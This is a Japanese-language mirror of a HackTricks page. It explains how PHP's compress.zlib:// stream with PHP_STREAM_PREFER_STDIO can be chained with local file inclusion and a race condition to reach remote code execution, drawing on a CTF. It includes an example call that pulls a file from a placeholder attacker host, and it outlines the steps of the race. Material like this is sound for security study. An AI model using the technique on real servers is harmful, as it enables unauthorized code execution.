mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
2.4 KiB
2.4 KiB
LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
{{#include ../../banners/hacktricks-training.md}}
compress.zlib://
と PHP_STREAM_PREFER_STDIO
PHP_STREAM_PREFER_STDIO
フラグを使用して compress.zlib://
プロトコルで開かれたファイルは、後で接続に到着するデータを書き続けることができます。
これは、次のような呼び出しを意味します:
file_get_contents("compress.zlib://http://attacker.com/file")
この情報は、php-srcコードのmain/streams/cast.cのこの部分で確認できます:
/* Use a tmpfile and copy the old streams contents into it */
if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_fopen_tmpfile();
} else {
*newstream = php_stream_temp_new();
}
レースコンディションによるRCE
このCTFは、前のトリックを使用して解決されました。
攻撃者は、**compress.zlib
**プロトコルを使用して、攻撃者のサーバーからファイルを読み込む接続を被害者サーバーに開かせます。
この接続が存在している間、攻撃者は作成された一時ファイルのパスを外部に流出させます(サーバーによって漏洩されます)。
接続がまだ開いている間、攻撃者は自分が制御する一時ファイルを読み込むLFIを悪用します。
しかし、ウェブサーバーには、<?
を含むファイルの読み込みを防ぐチェックがあります。したがって、攻撃者はレースコンディションを悪用します。まだ開いている接続の中で、攻撃者はウェブサーバーが禁止された文字を含むかどうかをチェックした後にPHPペイロードを**送信しますが、その内容を読み込む前に送信します。
詳細については、https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includerのレースコンディションとCTFの説明を確認してください。
{{#include ../../banners/hacktricks-training.md}}